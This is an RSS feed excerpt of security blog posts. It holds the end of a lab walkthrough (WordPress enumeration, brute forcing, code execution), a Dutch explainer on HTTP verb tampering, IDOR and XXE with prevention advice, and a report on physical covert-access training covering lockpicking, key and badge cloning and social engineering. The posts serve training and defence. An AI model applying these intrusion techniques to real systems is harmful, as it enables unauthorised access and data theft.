src="https://cdn-images-1.medium.com/max/942/1*WSf0kkZY1SgKp0Be1xRyfQ.png" /><figcaption><a href="http://blog.inlanefreight.local/wp-content/plugins/wp-sitemap-page/readme.txt">http://blog.inlanefreight.local/wp-content/plugins/wp-sitemap-page/readme.txt</a></figcaption></figure><p>Perform user enumeration against <a href="http://blog.inlanefreight.local/">http://blog.inlanefreight.local</a>. Aside from admin, what is the other user present?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*q92NzQ-v4CYw_GekSttxnQ.png" /><figcaption>wpscan — url <a href="http://blog.inlanefreight.local/">http://blog.inlanefreight.local</a> — enumerate</figcaption></figure><p>Perform a login bruteforcing attack against the discovered user. Submit the user’s password as the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjFs-l4cUIj2bEuCZ1neqw.png" /></figure><p>Using the methods shown in this section, find another system user whose login shell is set to /bin/bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDg75lq_VjPorzGBg89Deg.png" /></figure><p>Following the steps in this section, obtain code execution on the host and submit the contents of the flag.txt file in the webroot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKQk16oBDIc6V9IuMujjKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*SSHkevyL_lRSUIQCTm9b1w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=271f2a5b6aa8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-Up: Web Attacks]]></title>
            <link>https://medium.com/@jordi_been/write-up-web-attacks-7f758bc7b37b?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f758bc7b37b</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 10:26:00 GMT</pubDate>
            <atom:updated>2026-06-17T10:26:00.593Z</atom:updated>
            <content:encoded><![CDATA[<h3>Waarom webapplicatie-beveiliging belangrijker is dan ooit</h3><p>Tegenwoordig draait bijna elk bedrijf op webapplicaties. Denk aan online shops, klantportalen of interne dashboards. Maar hoe meer we afhankelijk worden van dit soort systemen, hoe aantrekkelijker ze worden voor hackers.</p><p>En het probleem? Moderne webapplicaties worden steeds complexer — en daarmee ook de manieren waarop ze aangevallen kunnen worden. Hierdoor ontstaat een groot “aanvalsoppervlak”: er zijn simpelweg meer manieren om binnen te komen.</p><p>Daarom zijn webaanvallen vandaag de dag de meest voorkomende vorm van cyberaanvallen. Het goed beveiligen van webapplicaties is dus geen luxe meer, maar een absolute noodzaak.</p><h4>Wat kan er misgaan?</h4><p>Als een aanvaller toegang krijgt tot een webapplicatie die vanaf het internet bereikbaar is, kan dat grote gevolgen hebben:</p><ul><li>Toegang tot interne systemen</li><li>Diefstal van gevoelige data</li><li>Stilleggen van bedrijfsprocessen</li><li>Financiële schade</li></ul><p>Zelfs als een applicatie niet direct op internet staat, blijft het risico bestaan. Interne webapplicaties of API’s (koppelingen tussen systemen) kunnen namelijk op dezelfde manier kwetsbaar zijn.</p><h4>Een minder bekende aanval: HTTP Verb Tampering</h4><p>Een van de minder bekende, maar gevaarlijke technieken is <strong>HTTP Verb Tampering</strong>. Bij dit technische begrip is het idee erachter eigenlijk vrij simpel. Wanneer je een website gebruikt, stuur je automatisch verzoeken naar een server. Zo’n verzoek bevat een “actie”, bijvoorbeeld:</p><ul><li><strong>GET</strong> → om gegevens op te vragen</li><li><strong>POST</strong> → om gegevens te versturen</li></ul><p>De meeste websites zijn gebouwd met alleen deze twee acties in gedachten.</p><p>Maar… er bestaan er meer.</p><p>Naast GET en POST zijn er nog andere “verzoektypes” (HTTP-methodes), zoals:</p><ul><li><strong>HEAD</strong> → lijkt op GET, maar zonder inhoud terug te sturen</li><li><strong>PUT</strong> → om data op te slaan</li><li><strong>DELETE</strong> → om data te verwijderen</li><li><strong>OPTIONS</strong> → laat zien wat een server accepteert</li><li><strong>PATCH</strong> → past iets deels aan</li></ul><p>Sommige van deze acties zijn behoorlijk krachtig. Denk aan het verwijderen of aanpassen van data. Problemen ontstaan wanneer een website of server niet goed is ingesteld of gebouwd. Dat kan op twee manieren gebeuren:</p><h4><strong>1. Slechte serverinstellingen</strong></h4><p>Een server kan bijvoorbeeld zo ingesteld zijn dat alleen GET en POST beveiligd zijn met een login.</p><p><strong>Maar wat als iemand een andere actie gebruikt, zoals HEAD?<br></strong>Dan kan het gebeuren dat de beveiliging niet wordt gecontroleerd en de actie tóch wordt uitgevoerd</p><p><strong>Voorbeeld (simpel uitgelegd):</strong></p><p>Stel dat een adminpagina alleen controleert:</p><ul><li>“Is dit een GET of POST verzoek?”</li></ul><p>Dan kan een aanvaller een HEAD-verzoek sturen:</p><ul><li>De server denkt: “Dit valt buiten mijn checks” en laat de actie gewoon door</li></ul><p>Gevolg: iemand kan functies gebruiken zonder ingelogd te zijn.</p><h4>2. Fouten in de code</h4><p>Een nog vaker voorkomend probleem zit in de code van de applicatie zelf.</p><p>Bijvoorbeeld:</p><ul><li>Een beveiligingscheck kijkt alleen naar gegevens die via GET binnenkomen</li><li>Maar de applicatie gebruikt uiteindelijk ook gegevens uit POST en hierdoor ontstaat een gap.</li></ul><p>Een aanvaller kan dan:</p><ul><li>een POST-verzoek sturen waardoor de beveiliging wordt overgeslagen en toch schadelijke input doorgeven</li></ul><h4>Hoe ziet zo’n aanval eruit?</h4><p>Een aanvaller gaat meestal simpel te werk:</p><ol><li>Hij kijkt welk type verzoek de website gebruikt (bijv. GET)</li><li>Hij verandert dit naar een andere variant (bijv. POST of HEAD)</li><li>Hij kijkt hoe de server reageert</li></ol><p>Soms gebeurt er niets.<br>Maar soms… werkt de actie ineens zonder beveiliging.</p><p>Stel je voor:</p><p>Er is een functie om alle bestanden te verwijderen (bijvoorbeeld een “reset”-knop).<br> Normaal gesproken moet je hiervoor ingelogd zijn.</p><p>Maar door het verzoek te veranderen van <strong>POST → HEAD</strong>:</p><ul><li>verdwijnt de login-check</li><li>wordt de actie toch uitgevoerd</li><li>en worden alle bestanden verwijderd</li></ul><p>Zonder wachtwoord. Zonder toestemming.</p><h4>Beveiliging omzeilen met slimme trucs</h4><p>In een ander voorbeeld blokkeert een website gevaarlijke invoer, zoals speciale tekens.</p><p>Dat lijkt veilig… totdat iemand:</p><ul><li>het type verzoek verandert (bijv. POST → GET) en daarmee de beveiliging omzeilt</li></ul><p>Gevolg:</p><ul><li>de “filter” wordt niet toegepast en de aanval slaagt alsnog</li></ul><h4>Waarom dit zo gevaarlijk is</h4><p>Het verraderlijke van deze kwetsbaarheid is:</p><ul><li>Het ligt vaak niet aan één fout</li><li>Maar aan een combinatie van kleine misconfiguraties en die zijn makkelijk over het hoofd te zien</li></ul><p>Daarnaast:</p><ul><li>Automatische scanners vinden dit niet altijd</li><li>Vooral codefouten blijven vaak onopgemerkt</li></ul><h4>Hoe voorkom je dit?</h4><p>Gelukkig zijn er duidelijke oplossingen:</p><ul><li>Sta alleen noodzakelijke HTTP-methodes toe</li><li>Zorg dat beveiliging voor alle methodes geldt</li><li>Controleer invoer altijd, ongeacht hoe die binnenkomt</li><li>Test applicaties actief op dit soort afwijkingen</li></ul><h4>Wat is een IDOR-kwetsbaarheid (en waarom is het zo gevaarlijk)?</h4><p>Een van de meest voorkomende beveiligingsproblemen in webapplicaties is de zogenaamde IDOR-kwetsbaarheid. De naam klinkt ingewikkeld, maar het idee erachter is verrassend simpel.</p><p>Bij een IDOR-probleem kan een gebruiker toegang krijgen tot gegevens die eigenlijk niet voor hem bedoeld zijn — simpelweg door iets kleins aan te passen, zoals een nummer in een link.</p><h4>Hoe werkt dat precies?</h4><p>Veel webapplicaties gebruiken links om gegevens op te halen. Bijvoorbeeld:</p><pre>download.php?file_id=123</pre><p>Deze link zegt eigenlijk:<br> “Geef mij bestand nummer 123”</p><p>Maar wat als iemand dit verandert naar:</p><pre>download.php?file_id=124</pre><p>Dan vraagt die persoon ineens een ander bestand op.<br>Als de website niet controleert of je daar wel toegang toe hebt, kun je zomaar bestanden van andere gebruikers bekijken.</p><h4>Wanneer is dit een probleem?</h4><p>Het is belangrijk om te begrijpen dat zo’n link op zichzelf niet per se kwetsbaar is.</p><p>Het probleem ontstaat pas als:</p><ul><li>de website niet controleert wie je bent</li><li>niet checkt of je toegang mag hebben tot die data</li></ul><p>Met andere woorden:<br> Het echte probleem is slechte toegangscontrole (access control)</p><h4>Waarom komt dit zo vaak voor?</h4><p>Een goed toegangscontrolesysteem bouwen is lastig. Ontwikkelaars moeten namelijk:</p><ul><li>bepalen wie wat mag zien</li><li>dat overal consistent controleren</li><li>en zorgen dat het niets kapot maakt in de applicatie</li></ul><p>In de praktijk gebeurt dit vaak niet goed — of alleen aan de “voorkant” (wat jij ziet in de browser), maar niet op de server zelf.</p><p>En dat is precies waar het misgaat.</p><p>Stel je hebt een applicatie waarin je je eigen documenten kunt bekijken:</p><pre>documents.php?uid=1</pre><p>Hier staat uid=1 voor jouw gebruikers-ID.</p><p>Maar wat gebeurt er als je dit verandert naar:</p><pre>documents.php?uid=2</pre><p>Als de website niet goed beveiligd is, zie je ineens de documenten van iemand anders.</p><h4>Waarom is dit zo gevaarlijk?</h4><p>De impact van IDOR kan enorm zijn. Denk aan:</p><ul><li>Inzien van privébestanden</li><li>Toegang tot persoonsgegevens</li><li>Creditcardgegevens bekijken</li><li>Data aanpassen of verwijderen</li><li>Accounts overnemen</li></ul><p>In sommige gevallen kun je zelfs admin-rechten krijgen.</p><h4>Hoe kan iemand dit misbruiken?</h4><p>Aanvallers gaan vaak systematisch te werk:</p><p><strong>1. Zoeken naar “directe verwijzingen”</strong></p><p>Ze letten op dingen zoals:</p><ul><li>?uid=1</li><li>?file=invoice.pdf</li><li>API-aanroepen in de achtergrond</li></ul><p>Alles wat direct verwijst naar data is interessant.</p><p><strong>2. Waarden aanpassen</strong></p><p>Daarna proberen ze simpelweg:</p><ul><li>uid=2, uid=3, uid=4</li><li>andere bestandsnamen of variaties daarop</li></ul><p>Als ze data terugkrijgen die niet van hen is → bingo.</p><p><strong>3. Automatiseren</strong></p><p>In echte situaties zijn er vaak duizenden gebruikers.</p><p>Daarom gebruiken aanvallers tools of scripts om automatisch:</p><ul><li>honderden of duizenden verzoeken te doen en zo massaal data te verzamelen</li></ul><h4>Slimme varianten (niet alleen simpele nummers)</h4><p>Soms proberen ontwikkelaars het “veiliger” te maken door:</p><ul><li>IDs te verbergen</li><li>of te coderen (bijv. base64)</li><li>of te hashen (bijv. MD5)</li></ul><p>Bijvoorbeeld:</p><pre>?file=ZmlsZV8xMjMucGRm</pre><p>Maar dit is vaak schijnveiligheid.</p><p>Als iemand het patroon begrijpt, kan hij: de waarde decoderen, aanpassen en opnieuw gebruiken</p><h4>Nog een verborgen risico: JavaScript</h4><p>Soms zitten kwetsbare functies verstopt in de code van de website zelf.</p><p>Bijvoorbeeld:</p><ul><li>functies die alleen voor admins bedoeld zijn maar wel zichtbaar zijn in de code</li></ul><p>Als de server dit niet controleert, kan iemand die functies alsnog aanroepen.</p><h4>Het echte probleem: vertrouwen op de voorkant</h4><p>Veel applicaties maken deze fout:</p><p>Ze vertrouwen erop dat de gebruiker zich “normaal gedraagt”. Maar alles wat in de browser gebeurt, kan worden aangepast. Daarom geldt: <strong><em>Beveiliging moet altijd op de server gebeuren — niet alleen in de interface.</em></strong></p><h4>Hoe voorkom je IDOR?</h4><p>Een paar belangrijke regels:</p><ul><li>Controleer altijd of een gebruiker toegang mag hebben tot data</li><li>Vertrouw nooit op input van de gebruiker</li><li>Gebruik een goed rollen- en rechtenmodel (bijv. wie is admin?)</li><li>Test actief op dit soort kwetsbaarheden</li></ul><h4>IDOR, maar dan “verstopt”: werkt versleuteling echt?</h4><p>In een eerder voorbeeld zagen we hoe simpel een IDOR-aanval kan zijn: je verandert een getal in een URL en krijgt toegang tot andermans data.</p><p>Maar wat als een applicatie dat nummer niet zichtbaar maakt? Wat als het wordt gecodeerd of gehasht?</p><p>Goed nieuws voor ontwikkelaars… zou je denken.<br>Slecht nieuws: dit is vaak nog steeds te kraken.</p><p><strong>Een “veiliger” voorbeeld (of toch niet?)</strong></p><p>Stel, je downloadt een contract via een webapplicatie. In plaats van:</p><pre>download.php?file_id=1</pre><p>zie je nu iets als:</p><pre>contract=cdd96d3cc73d1dbdaffa03cc6cd7339b</pre><p>Dat lijkt veilig. Het is geen simpel nummer meer, maar een lange, onleesbare code (een hash).</p><p>Op het eerste gezicht lijkt dit onmogelijk te raden.Hashes zijn inderdaad niet zomaar terug te draaien. Maar dat betekent niet dat ze veilig zijn.</p><p>De vraag is namelijk:</p><p><strong>Hoe wordt die hash gemaakt?</strong></p><p>En daar maken ontwikkelaars vaak een fout.</p><h4>De zwakke plek: logica in de browser</h4><p>Veel moderne webapps gebruiken JavaScript (in je browser) om dingen te berekenen.</p><p>In dit geval blijkt:</p><ul><li>De hash wordt in de browser gemaakt</li><li>Op basis van een simpele waarde (bijvoorbeeld een gebruikers-ID)</li></ul><p>Bijvoorbeeld:</p><ol><li>Neem user ID: 1</li><li>Zet om naar base64 → MQ==</li><li>Maak daar een MD5-hash van → cdd96d3cc73d1dbdaffa03cc6cd7339b</li></ol><p>En dat is precies de waarde die naar de server wordt gestuurd.</p><h4>Waarom dit gevaarlijk is</h4><p>Omdat deze logica zichtbaar is in de browser:</p><ul><li>kan een aanvaller precies zien hoe het werkt</li><li>kan hij dit proces zelf nadoen</li><li>en dus hashes maken voor andere gebruikers</li></ul><p>Bijvoorbeeld:</p><ul><li>user 2 → nieuwe hash</li><li>user 3 → nieuwe hash</li></ul><p>En zo verder…</p><h4>Van “veilig” naar volledig lek</h4><p>Zodra je weet hoe de hash wordt gemaakt, kun je:</p><ul><li>alle gebruikers doorlopen</li><li>hun hashes genereren</li><li>en hun bestanden downloaden</li></ul><p>Dit heet <strong>mass enumeration</strong>: automatisch grote hoeveelheden data ophalen.</p><h4>Nog erger: kwetsbaarheden combineren</h4><p>IDOR wordt pas echt gevaarlijk als je het combineert met andere zwaktes.</p><p>Laten we een stap verder gaan.</p><h4>Stap 1: Gegevens van andere gebruikers bekijken</h4><p>Door een kleine aanpassing (bijv. uid=2) kun je ineens gegevens zien van een andere gebruiker:</p><ul><li>naam</li><li>e-mailadres</li><li>rol (bijv. “employee”)</li><li>en een unieke ID (uuid)</li></ul><p>Dit is een<strong> information disclosure</strong> kwetsbaarheid.</p><h4>Stap 2: Gegevens aanpassen</h4><p>Met die informatie kun je soms ook gegevens wijzigen.</p><p>Bijvoorbeeld:</p><ul><li>e-mailadres aanpassen</li><li>profieltekst wijzigen</li><li>of andere instellingen veranderen</li></ul><p>En dat allemaal zonder toestemming.</p><h4>Stap 3: Account overnemen</h4><p>Een slimme aanval is:</p><ol><li>Verander het e-mailadres van een slachtoffer</li><li>Vraag een wachtwoord-reset aan</li><li>Ontvang de reset-link zelf</li></ol><p>Resultaat: account overgenomen.</p><h4>Stap 4: Admin worden</h4><p>Het wordt nog serieuzer als je rollen kunt aanpassen.</p><p>Bijvoorbeeld:</p><pre>role = web_admin</pre><p>Als de server dit niet controleert, kun je:</p><ul><li>jezelf admin maken</li><li>gebruikers aanmaken</li><li>accounts verwijderen</li><li>volledige controle krijgen</li></ul><h4>De kracht van combineren</h4><p>Wat hier gebeurt, is belangrijk:</p><ul><li>Eén kleine kwetsbaarheid is vervelend</li><li>Meerdere gecombineerd = rampzalig</li></ul><p>Bijvoorbeeld:</p><ol><li>IDOR → je ziet andere gebruikers</li><li>IDOR → je past gegevens aan</li><li>Geen controle → je wordt admin</li></ol><h4>Waarom dit zo vaak voorkomt</h4><p>Veel systemen maken dezelfde fouten:</p><ul><li>Vertrouwen op de browser (frontend)</li><li>Geen controle op de server (backend)</li><li>“Verstoppen” van data in plaats van beveiligen</li></ul><p>Maar: <strong>Verbergen is geen beveiliging.</strong></p><h4>Hoe voorkom je dit?</h4><p>Een paar belangrijke principes:</p><ul><li>Controleer altijd rechten op de server</li><li>Vertrouw nooit op data uit de browser</li><li>Gebruik veilige toegangscontrole (bijv. rollen en permissies)</li><li>Ga ervan uit dat gebruikers alles kunnen aanpassen</li></ul><h4><strong>XML External Entity (XXE): een complexe kwetsbaarheid verrassend simpel uitgelegd</strong></h4><p>Soms kom je een beveiligingskwetsbaarheid tegen die in eerste instantie technisch en intimiderend klinkt, maar eigenlijk neerkomt op een verrassend eenvoudig principe. XML External Entity (XXE) is daar een perfect voorbeeld van. Het staat bekend als een serieuze web security risk, maar zodra je het mechanisme begrijpt, valt alles op z’n plek.</p><p>Laten we beginnen bij de basis.</p><p>XML (Extensible Markup Language) is een taal die vooral wordt gebruikt om data op te slaan en te transporteren. In tegenstelling tot HTML draait het niet om hoe iets eruitziet, maar om wat iets betekent. Denk aan gestructureerde gegevens zoals e-mails, formulieren of API-verzoeken. Zo’n XML-document bestaat uit elementen (tags), attributen en soms ook zogenaamde <em>entities</em> — een soort variabelen die door de parser worden vervangen door een waarde.</p><p>En precies daar begint het verhaal van XXE.</p><p>Wanneer een server XML verwerkt, gebruikt hij een XML-parser. Die parser kan entities interpreteren. Dat betekent dat als jij een entity definieert, de parser die automatisch vervangt door de inhoud ervan. Normaal is dat handig. Maar als een applicatie onveilig is ingesteld en jouw input vertrouwt, kun je die functionaliteit misbruiken.</p><p>In plaats van een onschuldige tekst kun je namelijk verwijzen naar externe bronnen.</p><p>Bijvoorbeeld: stel dat je een XML-verzoek mag sturen via een contactformulier. Als je daarin een entity definieert die verwijst naar een lokaal bestand op de server, zoals een wachtwoordenbestand, dan probeert de parser dat bestand te lezen. En als de applicatie die output vervolgens terugstuurt… heb je ineens toegang tot gevoelige informatie.</p><p>Wat hier gebeurt, is eigenlijk best simpel: je laat de server zelf zijn eigen bestanden uitlezen en aan jou teruggeven.</p><p>En dat is nog maar het begin.</p><p>Zodra je weet dat een applicatie kwetsbaar is voor XXE, kun je verschillende richtingen op. De meest voor de hand liggende is het uitlezen van lokale bestanden. Denk aan configuratiebestanden met databasewachtwoorden, API-sleutels of zelfs SSH-keys. Dit soort informatie kan vaak de deur openen naar verdere toegang tot het systeem.</p><p>Maar het kan ook subtieler. In plaats van bestanden lezen, kun je de server verzoeken laten doen naar interne systemen. Dit heet SSRF (Server-Side Request Forgery). Daarmee kun je bijvoorbeeld interne API’s benaderen die normaal niet publiek toegankelijk zijn. Zo gebruik je de server als een soort proxy naar plekken waar jij zelf niet bij kunt.</p><p>In sommige gevallen kun je zelfs nog een stap verder gaan en proberen code uit te voeren. Dit is lastiger en werkt alleen in specifieke situaties, maar het laat zien hoe krachtig deze kwetsbaarheid kan zijn.</p><p>Wat XXE extra interessant maakt, is dat het niet altijd zichtbaar is. Soms krijg je geen directe output van de server. Dat betekent niet dat de kwetsbaarheid er niet is. In zulke gevallen kun je gebruikmaken van foutmeldingen of externe servers om alsnog data te exfiltreren. Dit worden ook wel “blind” XXE-aanvallen genoemd — je ziet het resultaat niet direct, maar je kunt het wel afleiden.</p><p>Gelukkig is XXE ook goed te voorkomen. De kern van de oplossing is simpel: zorg ervoor dat XML-parsers geen externe entities verwerken. Moderne programmeertalen en frameworks bieden vaak instellingen om dit uit te schakelen. Daarnaast helpt het om input nooit blind te vertrouwen en waar mogelijk veiligere alternatieven zoals JSON te gebruiken.</p><p>Wat je hier vooral uit moet meenemen, is dit: XXE is geen magische hack, maar een logisch gevolg van hoe XML werkt. Als je begrijpt dat een parser automatisch externe verwijzingen kan volgen, begrijp je ook meteen waarom dat gevaarlijk is.</p><p>En dat is precies wat goede security zo interessant maakt. Het draait niet om trucjes, maar om inzicht. Zodra je ziet hoe systemen écht werken, zie je ook waar ze breekbaar zijn.</p><p>En vaak blijkt: wat complex lijkt, is eigenlijk verrassend logisch.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f758bc7b37b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Covert Acces Training — More Than Lockpicking: My Experience With Physical Hacking]]></title>
            <link>https://medium.com/@jordi_been/covert-acces-training-more-than-lockpicking-my-experience-with-physical-hacking-162a7793c7fe?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/162a7793c7fe</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[covert-access-training]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[black-team-operations]]></category>
            <category><![CDATA[physical-pentest]]></category>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Sun, 10 May 2026 12:18:03 GMT</pubDate>
            <atom:updated>2026-05-10T12:18:03.115Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, I had the opportunity to attend an intensive five-day physical hacking training, and honestly, it was far from your typical “open a door with a Flipper Zero and hope for the best” kind of course. From the very beginning, it became clear that this training was all about realistic scenarios, practical skills, and learning how to think like a real physical pentester.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*-AQVzmOCi75YcQU7UMIhxQ.jpeg" /></figure><p>What immediately made this training stand out was the combination of theory and constant hands-on practice. No sitting still for hours while someone reads through slides, but instead directly practicing, testing, failing, retrying, and eventually succeeding.</p><p>A large part of the training revolved around locks. And not just a few simple padlocks, but a huge variety of security mechanisms you encounter in everyday life from key lockboxes and combination locks to tubular locks, wafer locks, TSA locks, cabinet locks, elevators, telecom boxes, and even older car locks. What made it especially interesting was that we didn’t just learn how things work, but more importantly when a specific technique makes sense during a real engagement.</p><p>The trainer, Brian, brought an incredible amount of real-world experience to the table. While explaining techniques, pitfalls, and actual scenarios from the field, we were constantly practicing lockpicking and bypass techniques ourselves. That multitasking approach made the skills stick surprisingly fast. As the training progressed, you could really notice yourself becoming quicker and understanding why certain methods are more effective than others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*BhjIJ37sBd5UCd68scjx8A.jpeg" /><figcaption>Electric Lock Pick Gun — Fast and noisy</figcaption></figure><p>One of the biggest takeaways for me was realizing that physical hacking is much more about strategy than brute force. Not every lock needs to be picked. Sometimes the smartest question is: <em>“Is this even worth attacking?”</em> or <em>“What’s the fastest and least suspicious way to get in?”</em> That mindset, especially the difference between overt and covert approaches, became increasingly important throughout the training.</p><p>As the training continued, we moved deeper into practical topics such as key cloning, bypassing digital access controls, and infiltrating buildings. One of the most memorable parts was creating fully functional keys through key cloning.</p><p>During the training, you could occasionally earn a special coin whenever you achieved something exceptional. At one point, Brian gave us the opportunity to clone a key using the RTT Key Cast Tray. Because of its compact size, creating a working duplicate is quite challenging and requires a lot of precision and patience. Naturally, I had to take on the challenge. To my own surprise, I managed to create a fully functional key on my very first attempt. Seeing that cloned key actually unlock the target lock was an incredibly satisfying moment. A great achievement and definitely worth earning that coin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*cCBHLRSFJxx9S6CWiRQGCA.jpeg" /></figure><p>Another impressive part of the training was bypassing door security systems. We covered not only traditional doors, but also modern digital security systems, motion sensors, and other electronic protections. What I really appreciated was that every technique was explained within the context of real-world engagements and practical attack scenarios.</p><p>Social engineering also played a major role throughout the course. We didn’t just learn technical tricks, but also how important human behavior is within physical security. How do you quickly build trust? How do you recognize patterns inside an organization? How do you gather information without attracting attention? It became clear that the psychological aspect is just as important as the technical side.</p><p>Another highlight was working with alarm systems, PACS systems (<em>Physical Access Control Systems</em>), and badge cloning. During practical exercises, we had to identify vulnerabilities in access control systems and work together to find solutions. Those moments genuinely felt like being part of a real pentest engagement. Everyone brought their own knowledge and background to the table, and it was great to see how powerful teamwork can be during complex operations.</p><p>The final part of the training was probably the most valuable experience of all: a real-world assessment where we physically pentested an actual location. This was where everything we had learned throughout the training came together, not only the technical skills, but especially the planning, observation, and strategic thinking.</p><p>What really stayed with me during that assessment was how important proper preparation is. A successful physical pentest does not start at the door; it starts much earlier with gathering information, analyzing scenarios, and determining the smartest possible approach. That experience made it very clear how much impact a solid plan can have.</p><p>What ultimately made this training so strong was its focus on practical experience. Almost everything we discussed, we were able to perform ourselves immediately afterward. Because of that, the knowledge doesn’t remain purely theoretical, you actually develop real skills, confidence, and routine. Throughout the week, you genuinely start looking differently at buildings, doors, security systems, and even human behavior.</p><p>Physical hacking turns out to be much more than simply “opening locks.” It’s about observation, creativity, strategy, improvisation, and teamwork under pressure. That combination made this training incredibly valuable and genuinely fun to experience.</p><p>And maybe the funniest part of all: I already notice that I look at doors and locks completely differently now. Where I used to walk into buildings without thinking twice, I now automatically analyze how a door is secured, where the possible weaknesses are, and what the most logical route would be. A kind of professional deformation that I secretly enjoy quite a lot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hahHnwUkL4x7qo3ltGlsDw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CA9_xeZnERSNdrEIQlXQhQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=162a7793c7fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>